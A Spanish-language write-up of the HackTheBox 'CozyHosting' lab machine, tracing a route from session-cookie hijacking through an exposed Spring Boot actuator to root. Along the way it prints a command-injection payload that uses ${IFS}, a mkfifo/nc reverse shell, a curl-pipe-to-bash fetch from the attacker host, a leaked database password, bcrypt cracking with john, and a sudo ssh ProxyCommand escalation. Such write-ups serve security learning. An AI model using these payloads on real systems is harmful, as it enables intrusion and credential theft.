Ir al contenido
  1. Writeups/

HackTheBox - CozyHosting

·10 mins
Nicolás Seral
Autor
Nicolás Seral
bla bla bla bla
  • Dificultad: easy
  • Tiempo aprox. 6h
  • Datos Iniciales: 10.129.8.147

Enumeración
#

Hacemos un escaneo de puertos, encontramos lo siguiente:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ sudo nmap -sT -Pn -p- 10.129.8.147 # Encuentra 22,80
$ sudo nmap -sT -Pn -p22,80 -sVC 10.129.8.147 # Indica Did not follow redirect to http://cozyhosting.htb, lo añadimos a /etc/hosts

$ sudo nmap -sT -Pn -p22,80 -sVC cozyhosting.htb
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • 22/tcp (OpenSSH 8.9p1): Algunas vulnerabilidades pero no relevantes
  • 80/tcp (nginx 1.18.0): También tiene vulnerabilidades, tampoco son relevantes.

Como nmap ha indicado que nginx distingue entre dominios (por el “Did not follow redirect to…”), enumeramos subdominios, pero, pasado un rato, vemos que no hay ninguno. Dicho esto, vamos a la página principal.

Puerto 80, HTTP
#

Al entrar, encontramos la página de presentación de un servicio que ofrece hostear proyectos.

De entre todos los botones, el único que hace algo es Login, y lleva hacia el endpoint /login. Al entrar, encontramos un panel de inicio de sesión.

Según se indica, la página está hecha con BootstrapMade, pero esto es solo el frontend, así que no vale de mucho.

Enumeración
#

Si enumeramos directorios, encontramos lo siguiente:

1
2
3
4
5
6
7
8
$ ffuf -u http://cozyhosting.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -ic
...

index                   [Status: 200, Size: 12706, Words: 4263, Lines: 285, Duration: 56ms]
login                   [Status: 200, Size: 4431, Words: 1718, Lines: 97, Duration: 53ms]
admin                   [Status: 401, Size: 97, Words: 1, Lines: 1, Duration: 42ms]
logout                  [Status: 204, Size: 0, Words: 1, Lines: 1, Duration: 46ms]
error                   [Status: 500, Size: 73, Words: 1, Lines: 1, Duration: 48ms]

A admin no podemos acceder, index es la página principal, logout nos lleva ahí, y para login no conocemos credenciales, solo queda error.

Si entramos a /error:

Si buscamos más acerca de la info que da el error, encontramos esto:

A Whitelabel Error Page is a default error page displayed by Spring Boot applications when an exception occurs that hasn’t been handled.

Y sobre Spring Boot:

Spring Boot is an open-source Java framework used for programming standalone, production-grade Spring-based applications with a bundle of libraries that make project startup and management easier.

Spring Boot
#

Si buscamos acerca de los endpoints de Spring Boot, encontramos que hay algunos como /actuator/health. En lugar de ir directamente ahí, voy a /actuator sin más. Encuentro esto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ curl http://cozyhosting.htb/actuator -s | jq
{
  "_links": {
    "self": {
      "href": "http://localhost:8080/actuator",
      "templated": false
    },
    "sessions": {
      "href": "http://localhost:8080/actuator/sessions",
      "templated": false
    },
    "beans": {
      "href": "http://localhost:8080/actuator/beans",
      "templated": false
    },
    "health-path": {
      "href": "http://localhost:8080/actuator/health/{*path}",
      "templated": true
    },
    "health": {
      "href": "http://localhost:8080/actuator/health",
      "templated": false
    },
    "env": {
      "href": "http://localhost:8080/actuator/env",
      "templated": false
    },
    "env-toMatch": {
      "href": "http://localhost:8080/actuator/env/{toMatch}",
      "templated": true
    },
    "mappings": {
      "href": "http://localhost:8080/actuator/mappings",
      "templated": false
    }
  }
}

Voy solicitando a cada uno de los endpoints:

1
2
# http://cozyhosting.htb/actuator/sessions
1FA960AA8E015F986F16C074CDC7B4F7:	"kanderson"
1
2
# http://cozyhosting.htb/actuator/beans
Mucha información sobre toda la estructura del servidor
1
2
# http://cozyhosting.htb/actuator/health
UP
1
2
# http://cozyhosting.htb/actuator/env
Variables de entorno, la mayoría censuradas
1
2
# http://cozyhosting.htb/actuator/mappings
UP

sessions nos ha dado lo que parece un usuario junto a una cookie o ID. En beans aparece repetidamente jar:file:/app/cloudhosting-0.0.1.jar como un archivo interno del servidor, que quizás sea interesante luego, pero de momento no nos ha dado mucho, no se menciona ninguna versión. También aparece el nombre de Tomcat, que posiblemente esté ejecutando la página que vemos.

Para probar con lo que ponía en sessions, vamos a Devtools -> Storage -> Cookies y cambiamos el valor actual de JSESSIONID por el de kanderson.

Ahora recargamos la página:

Abajo vemos que se indica: “For Cozy Scanner to connect the private key that you received upon registration should be included in your host’s .ssh/authorized_keys file.”.

Si el propio servidor tiene añadida a authorized_keys la clave pública que corresponde al par que supuestamente se entregó al usuario al registrarse, entonces podremos conectarnos por ssh.

Ponemos Hostname:cozyhosting.htb, Username:kanderson para probar:

cozyhosting.htb es un dominio válido para el servidor (porque si no diría que no se ha podido resolver), pero la clave privada no es de kanderson.

Si probamos con hostnames localhost o 127.0.0.1, también pone lo mismo. Si cambiamos a, por ejemplo, la IP de nuestra máquina (10.10.16.82) da timeout. Si cambiamos el nombre de usuario por otros, como root, sigue fallando.

Command injection
#

Pasado un rato, pruebo a ver qué está mandando BurpSuite, y, por curiosidad, a dejar algún campo en blanco, como username:

A la derecha vemos que en la respuesta se ve el error que da ssh cuando no le proporcionas argumentos, lo que significa que tenemos una posible inyección de comandos.

Por ejemplo, mandamos lo siguiente:

1
2
3
4
host=localhost&username=test;curl 10.10.16.82:8000/test#

# Para que quede algo como:
# $ ssh test;curl 10.10.16.82:8000/test#@localhost ...

Pero se nos indica: “Username can’t contain whitespaces!”

Pero podemos sustituir los espacios con ${IFS}, una variable especial de bash que representa un espacio, un tabulador y un salto de línea, lo podemos usar como espacio y funcionará.

Si hacemos esto:

1
host=localhost&username=test;curl${IFS}10.10.16.82:8000/endpoint#

Desde nuestra máquina:

1
2
3
4
$ python3 -m http.server                     
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.8.147 - - [02/Jun/2026 14:19:31] code 404, message File not found
10.129.8.147 - - [02/Jun/2026 14:19:31] "GET /endpoint HTTP/1.1" 404 -

Así que ahora creamos un reverse shell:

1
2
3
4
5
$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.82 4444 >/tmp/f' | sed 's/ /${IFS}/g'
rm${IFS}/tmp/f;mkfifo${IFS}/tmp/f;cat${IFS}/tmp/f|/bin/sh${IFS}-i${IFS}2>&1|nc${IFS}10.10.16.82${IFS}4444${IFS}>/tmp/f

# Lo unimos con localhost;...#
localhost;rm${IFS}/tmp/f;mkfifo${IFS}/tmp/f;cat${IFS}/tmp/f|/bin/sh${IFS}-i${IFS}2>&1|nc${IFS}10.10.16.82${IFS}4444${IFS}>/tmp/f#

Y lo mandamos, pero no funciona:

1
2
3
4
$ penelope -i 10.10.16.82
[+] Listening for reverse shells on 10.10.16.82:4444 
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[-] Invalid shell from 10.129.8.147 🙄

Esto posiblemente pasa porque el worker del servidor web mata rápidamente a cualquier proceso hijo una vez considera que debería haber acabado de procesarse la respuesta (es decir, al llegar a un timeout).

Así que para solucionar eso, podemos crear un par de claves SSH y subirlas. Primero necesitamos saber como quién se ejecuta el comando. Podemos hacer algo así, y lo recibiremos en la solicitud:

1
2
#username
localhost;curl${IFS}10.10.16.82:8000/$(whoami)#
1
2
3
4
$ python3 -m http.server                     
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.8.147 - - [02/Jun/2026 14:29:42] code 404, message File not found
10.129.8.147 - - [02/Jun/2026 14:29:42] "GET /app HTTP/1.1" 404 -

Y el usuario es app. Como parece una cuenta de servicio, por si acaso compruebo que tenga un directorio $HOME:

1
localhost;curl${IFS}10.10.16.82:8000/$(echo${IFS}$HOME)#

Y llega:

1
2
10.129.8.147 - - [02/Jun/2026 14:34:03] code 404, message File not found
10.129.8.147 - - [02/Jun/2026 14:34:03] "GET //home/app HTTP/1.1" 404 -

Así que la cuenta parece normal. Podemos crear el directorio .ssh por si acaso, y luego meter la clave pública que creemos en authorized_keys.

Problema, mandamos este:

1
localhost;curl${IFS}10.10.16.82:8000/$(mkdir${IFS}-p${IFS}~/.ssh)#

Y nos llega: “cannot access ‘/home/app’: No such file or directory”, así que crear una clave no nos sirve.

Como no podemos usar SSH ni una reverse shell directamente, podemos intentar usar otros métodos que activen la reverse shell más tarde y de forma independiente al worker del Web Server, para que nuestro shell no muera cuando este lo haga.

Y para evitar tener que codificar todo correctamente y molestarnos de más, lo mejor es dejarlo simple. Al servidor solo mandaremos esto:

1
host=127.0.0.1&username=localhost;curl${IFS}10.10.16.82:8000/cosa.sh|nohup${IFS}/bin/bash;#
Nota: Punto y coma antes de #

En Bash, para que un # sea interpretado como el inicio de un comentario, tiene que estar al principio de una palabra, es decir, precedido por un espacio, un salto de línea o un operador de control.

En este caso, la idea es usar ;# para decirle a bash que el comando ha terminado (;), y que detecte todo lo demás a partir del # como un comentario. Si no se añade el punto y coma, Bash interpretará esto como un solo comando bash#cosacomentada:

  • MAL: curl install.org|bash#cosacomentada

  • BIEN: curl install.org|bash;#cosacomentada

Esto significa que es bastante probable que otros payloads que también probé al hacer esta máquina sí funcionasen si se añadiese un ; entre el comando final y el #. Es algo de lo que no me dí cuenta hasta el final, pero que era bastante importante para que funcionase cualquier payload.

Y nosotros, hosteado en cosa.sh, tendremos lo siguiente:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.82 4444 >/tmp/f

Lo mandamos, y en el listener:

1
2
3
4
5
6
7
8
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from cozyhosting~10.129.8.147-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
[+] Logging to /home/kali/.penelope/sessions/cozyhosting~10.129.8.147-Linux-x86_64/2026_06_02-17_54_10-445.log 📜
─────────────────────────
app@cozyhosting:/app$

Movimiento lateral hacia josh
#

Miramos usuarios con shell interactivo para saber hacia qué dirección ir.

1
2
3
4
5
6
7
8
9
app@cozyhosting:/app$ cat /etc/passwd | grep -v false | grep -v nologin
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash

app@cozyhosting:/app$ ls /home
josh

Vemos que posiblemente josh sea nuestro próximo objetivo.

Archivo .jar
#

Nada más entrar, nos encontramos lo siguiente:

1
2
app@cozyhosting:/app$ ls
cloudhosting-0.0.1.jar

Si lo pasamos a nuestra máquina y lo descomprimimos, luego podemos ir a BOOT-INF/classes/application-properties, que contiene datos normalmente importantes:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ jar xf cloudhosting-0.0.1.jar

$ cat BOOT-INF/classes/application.properties
server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

Aquí tenemos unas credenciales de PostgreSQL, servicio que podemos comprobar que está activo:

1
2
3
4
app@cozyhosting:/app$ netstat -tunlp | grep 5432
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -

PostgreSQL
#

Nos conectamos a la DB con psql y entramos a cozyhosting:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
app@cozyhosting:/tmp$ psql --username=postgres --password --host=localhost
Password: 
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

cozyhosting=# \c cozyhosting 
Password: 
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=#

Ahora revisamos las tablas y sacamos los hashes:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
cozyhosting=# \d hosts
                                     Table "public.hosts"
  Column  |          Type          | Collation | Nullable |              Default              
----------+------------------------+-----------+----------+-----------------------------------
 id       | integer                |           | not null | nextval('hosts_id_seq'::regclass)
 username | character varying(50)  |           | not null | 
 hostname | character varying(255) |           | not null |

 cozyhosting=# SELECT * FROM users;
    name    |                           password                           | role  
 -----------+--------------------------------------------------------------+-------
  kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
  admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin

Si los metemos a john:

1
2
3
4
5
6
7
$ john hashes --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)

Tenemos la contraseña manchesterunited, y si probamos a iniciar sesión como josh:

1
2
3
app@cozyhosting:/tmp$ su josh
Password: #manchesterunited
josh@cozyhosting:/tmp$

Privesc hacia root
#

Miramos privilegios sudo:

1
2
3
4
5
6
7
josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

Si buscamos en GTFOBins, encontraremos varios payload. Podemos usar uno de ellos (ProxyCommand):

1
2
3
josh@cozyhosting:~$ sudo /usr/bin/ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x
# whoami
root

E inmediatamente tenemos root.

Relacionados

HackTheBox - Connected

·15 mins
OS: Linux | Dificultad: Easy | Conceptos: CVE Público, Unauthenticated SQLi en FreePBX, RCE vía SQLi, Privesc mediante inyección de comandos con incron.

HackTheBox - BoardLight

·7 mins
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de subdominios, Dolibarr RCE, Reutilización de contraseñas, Explotación de binario SUID, CVEs públicos.

HackTheBox - Headless

·7 mins
OS: Linux | Dificultad: Easy | Conceptos: XSS por User-Agent, robo de cookies, Command Injection, Escalada de privilegios por script con sudo